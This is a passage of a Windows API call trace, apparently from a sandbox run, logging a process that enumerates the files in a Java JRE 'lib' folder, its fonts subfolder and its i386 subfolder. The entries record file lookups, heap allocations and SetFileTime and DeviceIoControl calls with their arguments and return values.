nFileSizeHigh=0x0, nFileSizeLow=0x10c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 0 [0088.261] GetLastError () returned 0x12 [0088.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.262] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.263] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="")) returned 1 [0088.263] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe56, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="")) returned 1 [0088.263] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="")) returned 1 [0088.263] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0088.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.264] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.264] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132aba0 [0088.265] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132aba0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132aba0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132aba0) returned 1 [0088.265] NtClose (Handle=0x178) returned 0x0 [0088.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.266] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0088.267] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.268] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="")) returned 1 [0088.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd3c8 [0088.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d0d8 [0088.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8540) returned 0x12ea380 [0088.270] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="")) returned 1 [0088.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd3e8 [0088.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d2e8 [0088.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.271] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="")) returned 1 [0088.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd408 [0088.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d3f0 [0088.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.273] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="")) returned 1 [0088.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd428 [0088.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d4f8 [0088.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.275] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="")) returned 1 [0088.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd448 [0088.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d600 [0088.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.276] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf", cAlternateFileName="")) returned 1 [0088.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd468 [0088.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d708 [0088.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.278] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="")) returned 1 [0088.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd488 [0088.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d810 [0088.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.280] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="")) returned 1 [0088.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd4a8 [0088.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d918 [0088.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.281] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="")) returned 0 [0088.281] GetLastError () returned 0x12 [0088.281] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.281] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf", cAlternateFileName="")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="")) returned 0 [0088.282] GetLastError () returned 0x12 [0088.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.282] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.283] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="i386", cAlternateFileName="")) returned 1 [0088.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.284] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0088.285] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.285] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 